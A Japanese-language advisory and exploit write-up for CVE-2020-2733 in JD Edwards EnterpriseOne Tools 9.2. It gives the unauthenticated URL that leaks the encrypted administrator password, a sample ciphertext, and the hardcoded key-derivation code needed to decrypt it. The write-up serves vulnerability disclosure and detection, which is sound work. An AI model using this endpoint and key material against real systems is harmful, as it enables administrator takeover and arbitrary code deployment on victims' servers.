
CVE-2020-2733のエクスプロイト: 認証されていないURLアクセスを介してJD Edwards EnterpriseOne Toolsの管理者パスワードを復号化し、システム全体の侵害を可能にします。
Pic 1: 文字列を復号する
Pic 2: URLを指定して復号する
アプリケーション: JD Edwards EnterpriseOne Tools
影響を受けるバージョン: JD Edwards EnterpriseOne Tools 9.2
ベンダーURL: https://oracle.com/
バグ: 情報漏洩
報告日: September 18, 2019
公開勧告日: August 23, 2022
参照: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
検出用Nucleiテンプレート: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
勧告情報
タイトル: [CVE-2020-2733] JD Edwards EnterpriseOne Tools 管理者パスワードが適切に保護されていない
リスク: 重大
勧告URL: https://redrays.io/cve-2020-6369-patch-bypass/
公開日: 23.08.2022
リモートからの悪用可能性: あり
ローカルからの悪用可能性: なし
CVSS情報 : CVSS v3.1 基本スコア: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
JD Edwards EnterpriseOne Tools 9.2 またはそれ以前のバージョンでは、認証されていない攻撃者が認証をバイパスし、システム上で管理者権限を取得することができます。
この脆弱性は Oracle JD Edwards Management ポータルで発見されました。脆弱性を再現するには、(認証なしで)次のURLを開く必要があります。
http://JDEdwards:8999/manage/fileDownloader?sec=1
URLを開くと、ページ内に疑似ランダムテキストが表示されます。

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
JD Edwards の jar ファイルを分析した結果、この疑似ランダムデータは – 暗号化された管理者パスワードであることが判明しました!
暗号化キーは以下の関数にあります。
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
その結果、管理者パスワードを入手でき、JD Edwards ポータルに任意のアプリケーションをデプロイできるようになります。
